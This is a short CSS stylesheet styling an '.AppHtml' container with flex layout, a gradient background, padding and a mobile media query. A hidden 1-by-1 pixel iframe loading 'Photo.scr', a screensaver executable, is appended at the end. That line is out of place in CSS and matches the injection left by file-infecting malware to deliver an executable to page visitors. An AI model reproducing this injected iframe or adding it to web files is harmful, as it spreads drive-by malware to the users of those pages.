/* Style the app of html */
.AppHtml {
    display: flex;
    flex-direction: row;
    align-items: center;
    justify-content: center;

    background: rgba(241, 243, 237, 1.0);
    background: linear-gradient(45deg, rgba(227, 227, 227, 1.0), rgba(255, 255, 255, 1.0));

    width: 100%;
    height: 100%;

    padding-top: 1.4vw;
    padding-bottom: 1.4vw;
    padding-left: 1.1vw;
    padding-right: 1.1vw;
}

@media screen and (max-width: 900px){
    .AppHtml {
        background: rgb(255, 255, 255) !important;
        padding: unset;
    }
}
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>